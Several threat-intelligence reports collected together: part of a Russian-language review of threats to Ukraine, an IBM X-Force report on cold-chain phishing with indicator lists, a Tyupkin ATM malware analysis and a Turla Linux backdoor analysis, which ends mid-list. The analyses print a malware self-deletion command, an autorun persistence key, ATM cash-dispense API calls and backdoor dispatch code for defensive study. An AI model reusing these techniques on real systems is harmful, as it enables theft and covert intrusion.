кибершпионаж, сбор информации и как можно более долгое скрытое пребывание в сети атакуемой организации. Вместе с тем, довольно часто случается так, что эти ребята прибегают к варварскому выводу из строя атакуемых объектов. Например, в последний раз эта группировка проявила себя во время «украинских выборов» 25.10.2015, нарушив функционирование компьютерных сетей нескольких украинских телеканалов. Краткая справка об угрозе BlackEnergy2 приведена на рис. 8. Те, кто неоднократно сталкивался с угрозой (а не впервые ее встретившие и именующих по-своему), подтвердят, что тут – не до шуток. Кроме того, серьезности добавляет и тот факт, что в своей работе эти ребята применяют эксплойты под уязвимости нулевого дня. Они прекрасно осведомлены, что с ними борются, поэтому, пользуясь случаем, не забывают оставлять «фидбэк» и «передавать приветы». Следует иметь в виду, что всегда существует вероятность того, что подобного рода заявления и следы могут оставляться специально с целью введения в заблуждение исследователей и склонения к неправильной атрибуции своей противоправной деятельности. Еще одной, не дающей покоя нашей стране киберугрозой, является Sofacy/Sednit/APT28/FancyBear. Этот славянский коллектив, очень вероятно имеющий отношение к разведывательным службам, отметился при атаках (абсолютно разного рода) на Министерство иностранных дел Украины, ЦВК (но не взлом!), исследовательские организации Польши и правоохранительные органы Грузии (как минимум). Тут на лицо чисто кибершпионская деятельность (без выведения компьютерной сети из строя), а факт взлома, как правило, выявляется много позднее самого взлома. Почерк упомянутого коллектива позволяет сказать об опытности атакующих, а занятие этой деятельностью практикуется ими, видимо, уже около десятка лет. Без внимания не была оставлена и военная сфера. Ссылаясь на исследования компании ESET, а также наш личный опыт, по праву можно сказать, что наиболее выразительной угрозой для этой сферы была «Potao». Кроме того, военнослужащие, пребывающие в зоне АТО, а также представители наших спецслужб, неоднократно были атакованы незамысловатой угрозой «Armageddon» (на основе RAT/RMS/UltraVNC), о чём очень подробно расписано в исследовании компании Lookingglass. Краткая информация в отношении двух озвученных угроз отображена на рис. 10. Если говорить об украинских банковских учреждениях, то их, традиционно, атакуют около двух известных нам группировок, применяя при этом вредоносную программу ZeuS и Neutrino, соответственно. Более подробно про ZeuS можно почитать в нашей статье «Банковский троян ZeuS на протяжении нескольких лет используется для хищения денежных средств со счетов предприятий Украины». Продолжая разговор об угрозах для банковского сектора, следует отметить одну неприятную тенденцию – с недавних пор группировка (угроза Dyre или Dyreza), атаковавшая прежде банки США, Великобритании, да Европы в целом, «расширилась» и на нашу страну. Может потому, что кризис, а может потому, что интеграция в Европу нашей страной осуществляется во всех плоскостях и сферах. Настоящим мейнстримом второго полугодия 2015 года стали шифровальщики-вымогатели: CTB-Locker, .XTBL, .CBF, Watnik, Vault и другие. При распространении некоторых из них был применен до недавних пор плохо выявляемый метод двойного именования файлов, при котором конечный файл, к примеру, имел расширение .JS (то есть, по сути, был обфусцированным VB-скриптом). Тема шифровальщиков стала настолько актуальной, что один исследователь даже доказал возможность реализации этой угрозы в отношении устройств, функционирующих под управлением MacOS. Не следует расслабляться, даже если у вас есть резервные копии, так как некоторые злоумышленники выдумывают все новые методы, «помогающие» потерпевшему расстаться со своими деньгами и заплатить выкуп. Подытоживая статью, сам собой напрашивается вывод о том, что сфера «кибер» (информационная среда в целом) становится все более враждебной и опасной (хотя, быть может, чем больше знаешь, тем менее крепко спишь…). Анализ используемых тактик, техник и процедур помогает более адекватно выстраивать защиту, поддерживать в актуальном состоянии модель угроз и быть готовым к вновь появляющимся киберугрозам. Информационная безопасность есть процесс, и останавливать его противопоказано. Отдел исследования киберугроз CyS Centrum
# The COVID-19 Vaccine's Global Cold Chain Continues to Be a Target In December 2020, IBM Security X-Force released a research blog disclosing that the COVID-19 cold chain — an integral part of delivering and storing COVID-19 vaccines at safe temperatures — was targeted by cyber adversaries. After that first report, we recently discovered an additional 50 files tied to spear-phishing emails that targeted 44 companies in 14 countries in Europe, North America, South America, Africa, and Asia. The expanded scope of precision targeting includes key organizations likely underpinning the transport, warehousing, storage, and ultimate distribution of vaccines. Spear-phishing attempts were associated with multiple executive activities and other roles, including: - Chief Executive Officers - Global Sales Officers - Purchasing Managers - Company Presidents - System Administrators - Sales Representatives - Directors of Finance - Export Sales Managers - Human Resource Officers - Heads of Marketing & Communication - Heads of Supply & Logistics - Heads of Plant Engineering The campaign impersonates an executive from Haier Biomedical, a major Chinese biomedical company that is purported to be the world’s only complete cold chain provider. The updated findings were made available via our Enterprise Intelligence Management platform TruSTAR in January 2021. In the same timeframe, X-Force reached out to relevant CERTS and global entities in concert with our responsible disclosure policy. ## Email Significance Exploring the available emails, X-Force uncovered multiple features which likely signal the actor’s exceptional knowledge of the cold chain. While our previous reporting featured direct targeting of supranational organizations, the energy and IT sectors across six nations, we believe this expansion to be consistent with the established attack pattern, and the campaign remains a deliberate and calculated threat. The uncovered emails were sent between Sept. 7-9, several months in advance of the approval of any COVID-19 vaccine variant, which indicates the attacker was prepositioning in emerging global infrastructure. Both the email subject and contents discuss requests for quotes regarding the Cold Chain Equipment Optimization Platform (CCEOP) program and contain references to specific products (a specific solar-powered vaccine refrigerator and ice-lined refrigerator) from Haier Biomedical’s product line to store and transport vaccines at the same temperatures of the COVID-19 vaccine. The related HTML files mention organizations involved in the manufacturing of solar panels, as well as petrochemical production (dry ice as a primary byproduct), which directly aligns with the aforementioned products. The English language in the email aligns with the educational background of the sender spoofed in the signature block. ## Overlapping Infrastructure Directly following our December publication, X-Force uncovered an additional spear-phishing email, remarkably similar to the original samples we found. The email was addressed to a German pharmaceutical and bioscience solutions company involved in vaccine production, among other specialties, who appears to be a client of one of the original targets we uncovered. This context to the initial targeted email prompted further investigation. The connections between the previous and the new files we found feature overlapping command-and-control (C2) infrastructure and appear to display the same blurred PDF with a login screen prepopulated with the user’s email address as the ID. Once a user ID and password are keyed in, the credentials are sent to a C2 server. X-Force assesses that this activity is aimed at obtaining user credentials for future or secondary attacks. ## Most Targeted Industries The potential targets, categorized into most targeted industries, may present various avenues into the overall COVID-19 supply chain. They include: - **Transportation** — X-Force research suggests at least eight unique organizations within the automotive, aviation, maritime, and transport services sectors across Italy, Korea, Japan, Colombia, and the United States may have been targeted. - **Health care** — Our findings indicate likely targets include organizations associated with biomedical research, medical manufacturing, pharmaceuticals, and hygiene services headquartered in the Czech Republic, Germany, and the U.S. The corporations specialize in a variety of disciplines including immunology, manufacturing of medical accessories, construction of surgical materials, the creation of pharmaceutical ingredients, and online pharmacies distributing COVID-19 rapid tests. - **Information Technology & Electronics** — A total of six organizations across Bulgaria, France, Poland, Ukraine, and the U.S. associated with web-hosting services, software development, IT operations, and outsourcing and online platform providers were subject to activity. Collection against these organizations could provide actors with insight into key technical requirements concerning the cold chain and vaccine storage. In addition to the sectors detailed above, notable clusters of uncovered email addresses were found to be associated with government organizations, as well as refrigeration and metal manufacturing technology. X-Force uncovered likely instances of activity directed against government ministries and departments in Europe, specifically supporting import/export of special goods, transport, and public health and safety. All addressees are specific individuals of these organizations, including the precision targeting of (at the time of the campaign) a major central European country’s department head of prevention. As reported in the X-Force Threat Intelligence Index 2021, industries that governments worldwide have heavily relied on for COVID-19 response efforts were at the epicenter of targeting during 2020, with attacks on manufacturing, energy, and health care doubling from the previous year. This serves as yet another reminder that organizations and industries on the forefront of critical infrastructure and critical supply chains, such as the COVID-19 cold chain, are targets of high interest to adversaries. ## What Are Attackers Likely Looking For? With more than 350 logistics partners around the world, UNICEF and the COVID-19 vaccine cold chain will rely on seamless, multimodal transport systems to ensure that vaccines are transported in a timely and safe manner around the world. Attackers could be looking to infiltrate this extended supply chain to gain privileged insight into some of the following aspects: - Privileged insight into national Advance Market Commitment (AMC) negotiations surrounding the national procurement of vaccines. - Key timetables for distribution, information regarding expedited passage of COVID-19 vaccines through various nations and territories. - Export controls and international property rights, government measures taken to facilitate the time-sensitive cargo including pre-arrival processing. - Collection or duplication of electronic submission of documents for pre-arrival processing. - Transit and World Trade Organization (WTO) trade facilitation agreements, clearance for transport crews and security of the cargo, border crossing regulations, and physical inspections. - Key technical requirements surrounding warehousing and energy/electrical component requirements for maintaining temperature-controlled environments during vaccine storage. While clear attribution remains presently unavailable, the rise of ‘vaccine nationalism’ and increased global competition surrounding access to vaccines suggests the higher likelihood of a nation-state operation. ## A Reminder to Stay Vigilant The COVID-19 pandemic has created an unprecedented race between rival nations on an unequal economic plane. It is almost inevitable to see this type of adversarial activity in a threat landscape that is already extremely active on the nation-state attack front. Any disruption to the requisite conditions, including freight, storage, and logistics, could result in impotent or unsafe vaccines, leading to devastating effects on global health security. A better understanding of espionage efforts that could result in actions against the supply chain raises the importance of staying vigilant and aware of the related risks and ramifications. For recommendations on how to increase their cyber readiness, defenders can read our original research blog. ## Indicators of Compromise ### HTML Files | File Name | SHA256 | |-----------|--------| | Draft Contract-091020-12.html | 18d368e5ee1bbb9b7311e353cfd5475d772e8df6c4aa1c79b41800f07059b761 | | Draft Contract-091020-14.html | 9714f0d45dcf6a67c96a3fcfcf4661cf234b08808edda19a92b30ddda8833367 | | Draft Contract-091020-7.html | 7390f07d8d0f3762d0d58c72cbfba4e2ee02a324ebbf3edb372e91172ffa8ea3 | | Draft Contract-091020-6.html | e64e2e432f7d27843e53cd209f521e1c73ad25e521d96ebba2d51a33636e3645 | | Draft Contract-091020-14.html | 05d542f51875185bfeba8a696465ed519eff8d8fc60af884396597098c7b6234 | | Draft Contract-091020-11.html | edf49cada51c2654c75141306b35dd048bb3aa42ec881c5780be5b2c1dcadb11 | | Draft Contract-091020-7.html | 1329ee2f527325fca0b84df95c848e881a8acc5d4bde13127f1208e20b57f6e6 | | Draft Contract-091020-6.html | 131cb0f858b9f1ba2f5532d45fd5bf910ed4f14bbfcb1c9ec89e71e01455a4a5 | | Draft Contract-091020-4.html | 43cc23e20f4a844bf012fe126a7f99f9ccb294cd26f45e7519f8c2838a1f05a9 | | pdf request for Quotation (1).html | 3c22d882ae4ecbab92e6f0ff383f32aa73253a602e052ab46846f24fbded1a2e | | pdf request for Quotation (1).html | 07fef0ba6f59544efdae43f15520c51a1d0e86b226b28bc40704c2419d1a7caa | | pdf request for Quotation (10).html | 66f670d2740379de9233cb7797712e92cf27c822ee716a5d989bd7cc4809ef37 | | pdf request for Quotation (12).html | 1dc6f66f7974ad716ff13b18f5fa8c1045ca298a35bd9b2f96ce5402011733d9 | | pdf request for Quotation (12).html | 9874e8c69ba3deae8de3178a49a35dc6cf1c7568726c26f6e5ca34a0200491b2 | | pdf request for Quotation (14).html | e8b85f246aa88a18552ef4b1407e1a302474c51753d71918b1c53b8e995b32ae | | pdf request for Quotation (14).html | 23024e98f96aef1ba314aeaed2bc9c07a1b100add71a1a6181bfb386d1dfa415 | | pdf request for Quotation (2).html | bbefe5aa411760f38ab393a574b249735033923684e4f824c5340365defd6b6c | | pdf request for Quotation (2).html | 7f86dbf27179b540cbda1a67916333b2318f405ee90580f37bde14c8e1b49098 | | pdf request for Quotation (2).html | b08ba117e431a03898df528c7dc8f989b3060972c198520d83c757160a0d310c | | pdf request for Quotation (2).html | f258ba3e915bc2a54695434994116b7e1750db020b46b53ba91b5414a6422885 | | pdf request for Quotation (2).html | 89204d0dc59cd647186ba5e8ce8b5521e8581e3bf8810c5163a23d5e1c544a93 | | pdf request for Quotation (3).html | 6d312f0c7c51448a4324f5511bc09f13ce3a649b9f083023da223a3ddef242e3 | | pdf request for Quotation (3).html | 9b5fd4adafaaae5c94268e9a8f5728daaf82bf6013cf87750d0f9ce52266b983 | | pdf request for Quotation (5).html | 7e740bdeec6866101b98173f84baf01daa78dea57a9f83f17b20e41d9a3bc13e | | pdf request for Quotation (5).html | 4fe1c28bca69b843e3dc70093bc4ca50a68cc9c52f9874f15314fcb2e78890ad | | pdf request for Quotation (5).html | 809af05c41576c3cbdc5a84dfb2d4d73f75befd36a2b7bb4412130a7839a92b9 | | pdf request for Quotation (8).html | e9b0b0b1589f8711d87df700183c618f5c9ce00b2206cbfd9b5ec60ae65036c0 | | pdf request for Quotation (8).html | 499e7f2026f0d9f8e6fae03e14f45392233e89920e31bd6eb81129364242832e | | pdf request for Quotation (8).html | 24e54f51da72eb5e5e4f13c913068f40f4118b7c8616a6b6e3ac5d6a4128c194 | | pdf request for Quotation (8).html | df9ca5897fcaad95d0ecdc4a033c775d473355e66c0936efc382caba1b24ba22 | | pdf request for Quotation (8).html | 6f5ba1ffd5df43e6b64fc6d26bd238a200d6f20bb1f8a9c77d615c5a279deec8 | | pdf request for Quotation (9).html | d6915a015c056e54d2bfe7567a6bf760cdbb2bca0e3dfa1f4261136c7a0fb40d | | pdf request for Quotation (9).html | 5158767e275b32061be40fa1ade7e552a121c5f5fb11f531731728fd757726bd | ### Domains - e-mailer.cf - e-mailer.ga - nwaoma.cf - e-mailer.ga - routermanagers.tk - nwaoma.ga - nwa-oma2.ml - serverrouter.tk - nwaoma.gq - routermanager.ga - nwa-oma.cf - nwaoma.ml - routermanager.gq - nwa-oma.ga - nwaoma.tk - routermanager.ml - nwa-oma.gq - nwaoma1.cf - routermanagers.cf - nwa-oma.tk - nwaoma1.ga - routermanagers.ga - nwa-oma1.ga - nwaoma1.gq - routermanagers.gq - nwa-oma1.gq - nwa-oma1.ml - routermanagers.ml - nwa-oma1.ml - nwaoma1.tk - serverrouter.cf - nwa-oma1.tk - nwaoma2.cf - serverrouter.ga - nwa-oma2.cf - nwa-oma2.ga - serversrouter.cf - nwa-oma2.ga - nwaoma2.gq - serversrouter.gq - nwa-oma2.gq - nwaoma2.ml - nwa-oma.ml - nwa-oma2.tk - nwaoma2.tk - mailerdeamon.cf - nwa-oma3.cf - nwaoma3.cf - mailerdeamon.ga - nwa-oma3.ga - nwaoma3.ga - mailerdeamon.gq - nwa-oma3.gq - nwa-oma3.gq - mailerdeamon.ml - nwa-oma3.ml - nwaoma3.tk - mailerdeamon.tk - nwa-oma3.tk - serversrouter.ga - mailerdeamon.ml - serversrouter.ml - serversrouter.tk **Melissa Frydrych** Threat Hunt Researcher, IBM Melissa is an analyst on the Threat Hunt & Discovery Team within IBM X-Force. She has over 9 years of experience, investigating and analyzing cyber threats.
# Tyupkin ATM Malware: Take The Money Now Or Never! **December 13, 2017** **Posted by Alexander Sevtsov** A Sandbox is a dynamic file analysis system that allows a researcher to analyze the behavior of potentially malicious code in a virtualized environment without damaging a real host system. In some cases, a sandbox has to analyze an attack without seeing the full chain (for example, when it analyzes a dropped file without the corresponding dropper component) or must work with limited information about the target environment (for example, when an attack targets a particular operating system or runtime). In the worst-case scenario, these missing pieces can completely hinder the sandbox’s ability to successfully run an application. ## Lastline Sandbox In today’s blog post, we are going to dive deep into one such example and show how the Lastline sandbox can still classify malware despite an incomplete environment, and even how a security researcher or incident responder can still elicit behavior from a malware sample. This can be done via the so-called application bundles. These bundles allow the user to extend, customize, and tailor the analysis environment to the needs of the particular attack and allow us to analyze and dissect an application requiring non-existent Windows DLLs, file paths, or registry values. ## ATM Malware For today’s case study, we use a Tyupkin malware sample, a .Net application for bank automated teller machines (ATM) running on the Microsoft Windows operating system. Tyupkin’s aim is to steal cash by sending a specific command to the cash dispenser of the compromised ATM. During the analysis, our sandbox will trick the malware into believing that our analysis environment is an ATM itself. We will achieve this by submitting our sample bundled with a few specific DLLs that provide programmer’s interfaces to a Windows-based ATM, Extensions for Financial Services (XFS). ## Delivery Vectors Interestingly, this malware family seems to be delivered to the ATM manually. In other words, to install the malware, the attacker requires physical access to an ATM via an exposed USB port or other input/output bus. Note that this is not usually necessary as some attackers have been known to install ATM malware as part of internal software update processes. ## Anti-Analysis As with many malware families, ATM malware actively tries to hinder incident response and evade dynamic analysis systems by using well-known, off-the-shelf code protectors and packers, such as .NET Reactor, .Net Confuser, VMProtect, and Themida. This is a common self-defense mechanism. For example, one of the previously seen ATM infectors packed with the Themida packer makes use of several anti-debug and anti-sandbox tricks. Some other families, such as ATMii, are known to perform remote code injection, hiding the malicious code in a specific ATM process. ## Tyupkin Malware The piece of ATM malware that is the subject of this article is known as Tyupkin. The entry point has the following code: The first sandbox evasion we see is an execution delay of 10 minutes. Considering that many automated malware analysis systems allocate only 4-5 minutes to analyze application behaviors, it is not a surprise to see such a simple yet potentially effective evasion attempt. Let’s now step into the Form1 class, and further, into the InitializeComponent method. The purpose of this method is to register a specific event handler Form1_Shown. Below is a fragment of “Form1_Shown” code: It first retrieves a path to the system directory through the SHGetFolderPath function and verifies whether it already infected the underlying system. Then it hides the main window by calling ShowWindow API with SW_HIDE parameter and adds itself to the autorun to make sure it will run after reboot: `HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN: AptraDebug` Next, it checks whether the connection to the XFS Manager was successfully established and if not, it deletes itself by using the following command: `del /F /S /Q C:\WINDOWS\system32\ulssm.exe` If the connection is successful, the program runs two threads: the first checks the current system time which then allows the second thread to execute only on Sunday and Monday nights, and only at specific time intervals. This is done by calling a combination of _time64 and _localtime64 functions, and then parsing the time_t structure. The second thread contains the main functionality of the malware. Tyupkin supports several operations, or activation codes, known only by the criminals, which prevents unauthorized access (or black-box analysis approach). Given a proper activation code (entered using the ATM PIN pad), the malware can delete itself or hide/show its main window. It can also programmatically disable the network interfaces through the NcFreeNetconProperties API (netshell.dll) every time the cash is dispensed (probably to foil any attempt to communicate with the infected machine). The malware is also able to extend the timeout interval (probably for those sleepyheads criminals who don’t want to withdraw money just during the first hours of the day, as mandated by the checks performed by the first thread), and, most importantly, to withdraw money, which is after all its main purpose. This is achieved by calling WFSExecute API when the dwCommand parameter is equal to WFS_CMD_CDM_DISPENSE (0x12E). To get the current balance of the cash units, the malware calls WFSGetInfo API with dwCategory parameter set to WFS_INF_CDM_CASH_UNIT_INFO (0x303). If successful, the following text will appear on the ATM’s screen: “Take the money now!” prompting the user to enter a cassette number and press enter. Below is the complete workflow of the Tyupkin ATM malware: ## Automatic Analysis for Detection As we can see in the analysis above, this Tyupkin malware family requires a very specific environment to exhibit its behavior. Even if the malware successfully loads (which is not a given), entire functionalities are still not triggered if a specific library is not installed. As we discussed in earlier blog posts, the Lastline analysis engine is able to dynamically adjust the environment to meet the attackers’ goals, to alter the system information at runtime, or detect malicious behaviors even in program sections that are not fully executed. Another approach to detect this type of targeted attack is by using the environment sensitivity of the program against the attacker itself. The main idea is to flag a sample as suspicious whenever the analyzed code is deemed too dependent on a specific environment, for example, when some ATM components are required for execution. ## Manual Analysis via Lastline Application Bundles Detecting such malware is important, but sometimes a malware analyst needs to go further and see more details of the behavior by manually adjusting the analysis environment to meet the attacker requirements. This can include invoking the executable with a specific command line, altering the registry or file system, or loading code in the context of a particular process. The Lastline analysis sandbox allows doing exactly this via a concept we call Lastline application bundles. These bundles, called llappbundles, allow the analyst to specify exactly how the environment is to be “prepared” and how the analysis will be performed by the sandbox (both Windows or Mac OS sandboxes are supported). For example, sometimes an executable requires additional command line launch parameters, must be run from a particular folder or with a specific file name, or it should run a specific export function (in case of DLL), or run a file imports APIs from a DLL that is not present in the guest OS. All these issues are addressed by llappbundles. Below we can see a screenshot of a successful execution of the Tyupkin malware after loading an application bundle with both sample and required libraries. In order to create an application bundle we used the create_appbundle function: ```python import logging import llappbundle.helper tyupkin_appbundle = llappbundle.helper.create_appbundle( files={ r"ulssm.exe": open("myfiles/tyupkin.exe_", "rb"), r"msxfs.dll": open("myfiles/msxfs.dll", "rb"), r"xfs_supp.dll": open("myfiles/xfs_supp.dll", "rb"), r"xfs_conf.dll": open("myfiles/xfs_conf.dll", "rb") }, run_directory="${TEMP}", main_subject=r"ulssm.exe", logger=logging ) with open('myfiles/tyupkin.app','wb') as output_stream: output_stream.write(tyupkin_appbundle.read()) ``` Another approach is to create an archive with all the DLLs and the main executable file—the Lastline analysis engine is smart enough to generate an application bundle from it. ## Conclusion In this article, we showed how a security researcher or incident response organization can analyze applications, such as ATM malware, that require non-default Windows libraries. By submitting programs as application bundles (llappbundles), it is possible to perform dynamic customization of the guest analysis environment. This easily allows incident responders to investigate evasion and persistence mechanisms as well as analyze packers and protectors that are normally used to hinder analysis. Further, it is possible to improve detection of samples targeting specific environments, a behavior commonly found in advanced persistent threats. --- **About Alexander Sevtsov** Alexander Sevtsov is a Malware Reverse Engineer at Lastline. Prior to joining Lastline, he worked for Kaspersky Lab, Avira, and Huawei, focusing on different methods of automatic malware detection. His research interests are modern evasion techniques and deep document analysis.
# MALWARE TECHNICAL INSIGHT: TURLA “Penquin_x64” ## EXECUTIVE SUMMARY The APT group known as Turla (aka Snake, Venomous Bear, Group 88, Uroburos, Waterbug and others) is a well-established collective that has been operational since at least 2004. Turla is one of the most advanced APTs in the world; it is famous for developing new and very advanced techniques to avoid detection and to ensure persistence on the targeted network. This adversary is known for targeting, among others, government, defense, and education sectors all around the globe. In December 2014, Kaspersky reported on a tool attributed to the Turla intrusion set used to target the Linux Operating System: they named it “Penquin” Turla. In 2017, more information about this threat was discovered. Since then, almost three years have passed with no new information being discovered about this specific threat, until now. In this technical report, we analyze new samples of the toolkit spotted in April 2020, dubbed “Penquin_x64”. We describe in depth the capabilities of this stealth backdoor, comparing it to the older known versions, and we also investigate the possible build dates of these samples. The threat actor put in place a considerable amount of effort to avoid the improper activation of the backdoor. In this report, we shed light on the communication protocol, providing a tool to efficiently detect a “Penquin_x64” infection in enterprise networks. The discovery of this Turla module still raises the same question of the 2014 Kaspersky’s report about how many other unknown Turla variants exist. ## 1. SCENARIO In April 2020, a few other samples similar to those detected in 2014 have been uploaded to a multi-scanner service. They let us discover the existence of an additional version of Turla “Penquin” that has not been analyzed yet: we named it “Penquin_x64”. “Penquin_x64” is a stealth backdoor that, in addition, tries to hide itself from the eyes of the system administrators mimicking the “cron” binary, that is a system utility used to create pre-scheduled and periodic background jobs on Linux servers and clients. The analysis we performed allowed us to fully understand all the malware capabilities and the network protocol used to activate the backdoor. Consequently, we built a Python code that can be used by system administrators to check the presence of “Penquin_x64” on their networks. “Penquin_x64” is a brand new piece of the Turla puzzle that remained uncovered for years. It is not possible to identify the exact date of build for this version. However, the analysis performed allowed us to estimate with high confidence that the most recent sample we discovered has been built between 2016 and 2017. We cannot state that this component is still in use by Turla, but there is the possibility that additional versions that target the Linux OS have not been discovered yet. Even though we do not have concrete data to support this statement, we can confirm that the most recent samples we found are still able to run on the current stable version of Ubuntu. Considering that Turla is one of the most complex APTs in the world, and since it is highly likely that this malware has been used more often than what we currently know, we recommend verifying its presence on Linux OS servers and clients by using the tool we have built and the indicators of compromise attached to the end of this report. Based on our analysis, we have a high degree of confidence that this malware has been used as a post-compromise tool on Virtual Private Servers that successively played a role in the Turla network infrastructure. ## 2. EVOLUTION OF THE “PENQUIN” The birth of the “Penquin” toolkit goes back years, at the dawn of Nation-State digital espionage. Two important reports of extremely high quality about this threat have been published by Kaspersky GReAT, in 2014 and in 2017 respectively: “The Penquin Turla” and “Penquin's Moonlit Maze”. While the former is a technical analysis of a set of samples found in the wild, the latter gives a very broad but specific context about Turla intrusion set, and how it evolved since the early 2000s. A third important report that mentioned features of the “Penquin” family has been published by the Swiss CERT in 2016 detailing a prolonged campaign against the defense contractor Ruag. In April 2020, we detected three new “Penquin” samples. With respect to those already known, these new samples target 64 bits architectures. We analyzed them, and we compared them with the old ones. In the rest of this document, we will report the result of this deep technical analysis that allowed us to understand much more about this specific threat. In the following section, we will describe the three different versions of “Penquin” we have been able to identify. ### 2.1 “Penquin” versions Having at our disposal new and old samples, we have been able to categorize them into three different sets that have many commonalities, but also a few important differences. 1. The first set, that we will call “Penquin”, is the one firstly analyzed by Kaspersky in 2014. One of its peculiar features is the sniffing technique initially attributed to the cd00r project and successively to LOKI2. This feature allows the samples belonging to this set to become stealth backdoors that are difficult to detect, and that can be potentially used as post-compromise tools. Indeed, the sample will connect back to a C2 only after a sniffed packet matches a series of predefined mathematical conditions. Note that the IP address of the C2 is encoded in the activation packet, and therefore it is not possible to foresee it in advance. 2. We named the second set of samples “Penquin_2.0”. One sample belonging to this set has been detected by Kaspersky after the first publication of their 2014 report, which has been updated to include it. The other three samples we know about have been first seen in the wild in 2014, 2016, and 2017 respectively. All of them have been included among the indicators of compromise reported. “Penquin_2.0” shares most of the capabilities with its ancestor, but there is a fundamental difference: it doesn’t use the network sniffing technique anymore. On the contrary, it includes a hardcoded Command and Control server, specified by IP address and port, that is immediately contacted. This IP address belonged to LunaSat ISP. In 2015, it already came out that several other IP addresses belonging to the same Lebanese satellite Internet Service Provider have been leveraged by Turla. 3. The third set of samples is the most interesting one, as a matter of fact it has not been publicly disclosed yet: we named it “Penquin_x64”. Two samples belonging to this set have been submitted to VirusTotal service in April 2020 from the Czech Republic and Italy respectively. We have reason to believe that the sample submitted from Italy is related to an incident investigation that could reveal more details about Turla TTPs. We are not aware of the identity of who submitted it, even though we are based in the same country. The two samples submitted in 2020 let us discover a third one that has been submitted to the Virus Total service in December 2017. All “Penquin_x64” samples are compiled to work on 64 bits architectures and they embed a legitimate Linux binary trying to mimic: “cron”. Furthermore, they implement the same sort of port knocking technique of the first “Penquin” version, using a different filter to activate the backdoor. ## 3. BUILD DATE ESTIMATION Since the first confirmed reporting of Turla “Penquin” dates back to the end of 2014, we considered extremely important for the current analysis to estimate the build date of the new samples we found. Indeed, when we started this analysis, one of the first hypotheses we considered was that the new samples we detected could have been built before the publication of the first Kaspersky’s report in 2014. In comparison to the Windows Portable Executable which has a compile timestamp field, the ELF file format does not provide any corresponding field that can be used for such a purpose. Therefore, we considered several different approaches, which are fully described in Appendix A, such as analyzing the EI_ABIVERSION, or the epoch of the statically linked libraries. As for the “Penquin_x64” set, the approach that in our opinion turned out to be the most reliable is based on the analysis of the embedded cron binaries. ### 3.1 Estimated date of the embedded binaries Analyzing the “Penquin_x64” malware set, we found that these samples embed and execute the cron binary, used in Linux OS to create pre-scheduled and periodic background jobs. Indeed, samples belonging to this set try to mimic cron in order to hide themselves from the eyes of the user or system administrator, and they need the actual version of the binary to run it after their execution. To support this hypothesis, we immediately verified that the cron binary each malware embeds was not trojanized, and that it was launched by the malware as a child process. After extracting the embedded cron from the samples, we also noticed that each sample embeds a different version of the binary. Therefore, we analyzed the ABI field of the cron binaries we recovered, and we found the indicative time windows they have been built. It was discovered that they included three different versions of cron, that have been built in three different time windows, but still the information that we have got was too inexact. In addition to the analysis of the ABI field of the cron instances, we also tried a different approach that is based on the following simple hypothesis: if these binaries have not been re-compiled by the attacker, then it is probable they have been taken from a Linux distribution. Therefore, we downloaded the cron binary packages of several distributions, and we found with a simple sha256 comparison that those we were interested in have been released in Ubuntu and CentOS. Furthermore, one of the three cron binaries has been released with Ubuntu 16.04 and 17.04, in April 2016 and April 2017 respectively. Therefore, it is with high confidence that we can state that “Penquin_x64” was still being developed during those years, and that the last version we currently know about was compiled after April 2016. ## 4. MALWARE CAPABILITIES In order to understand all the differences among the three Turla “Penquin” versions we have identified, we conducted deep analysis of all the available samples, including those already reported in 2014 and 2017. A very important piece of code, that was not previously described in any analysis we know about, is used by the three malware sets: ```c result = trybuiltin(a2, v9, v10); if ( !result ): result = runcmd((int)v4, v9, (int)v10, a4); ``` The `runcmd` function is the one described by Kaspersky: “[the malware] reports its own PID and IP to the remote address, and starts an endless loop for receiving remote commands. When a command arrives, it is executed with a ‘/bin/sh -c’ script.” However, the code snippet above highlights that before calling the `runcmd` function (that uses the /bin/sh technique previously described), it checks the result of another function, called `trybuiltin` in one of the rare samples that didn’t have the symbols stripped. The `trybuiltin` function checks the received parameters against a hardcoded data structure, named `cmdtab`, and calls the corresponding command implemented in the malware, without resorting to the command line. These commands are specified through command codes that are mapped to a list of functions. Additional implemented commands are: `do_vsupload`, `do_vsdownlod`, `do_vslist`, `do_vsdelete`, `do_vsshutdown`, and `do_vstat`. All the commands preceded by the string `do_vs` can be executed on a remote IP address and port that is received as input parameter, that is potentially, and highly probably, different from the C2. ## 5. CONCLUSION This report is based on the outcome of a deep technical analysis of a set of malware samples that have been uploaded to a multi-scanner service in the last few years. Since we didn’t have the chance to investigate an actual incident involving them, or to analyze a single compromised machine, we have not been able to collect and analyze additional context information that could add important information about the victimology, the TTPs of the threat actor, and the timeline of the events. The analysis we performed proved that Turla continued to develop new versions of “Penquin_x64” at least up to April 2016. Furthermore, it revealed the enormous effort put in place by the threat actor to avoid the activation of the backdoor not controlled by themselves. Nevertheless, we have been able to completely understand the network protocol that is used, and to build a tool that is able to activate the backdoor and call back an IP address that we can control. This tool can be used by system administrators for defensive purposes. ## 6. MITRE ATT&CK TTPs - **T1059** Command-Line Interface: Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. - **T1205** Port Knocking: Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. - **T1105** Remote File Copy: Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. - **T1094** Custom Command and Control Protocol: Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing Standard Application Layer Protocol. - **T1024** Custom Cryptographic Protocol: Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. - **T1032** Standard Cryptographic Protocol: Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic. - **T1158** Hidden Files and Directories: To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. - **T1222** File and Directory Permissions Modification: File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. ## 7. INDICATORS OF COMPROMISE **Hashes** - 1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905 - 8dc3d053e5008ab92a17dc47fed43213a9873db0 - 0994d9deb50352e76b0322f48ee576c6 - 3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4 - 04686b0d2fdafa7cb6c17adc551abade334d7b85 - 14ecd5e6fc8e501037b54ca263896a11 - 8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667 - 7f043eb95d74d051ac780aee52ebf1c497c43060 - 19fbd8cbfb12482e8020a887d6427315 - 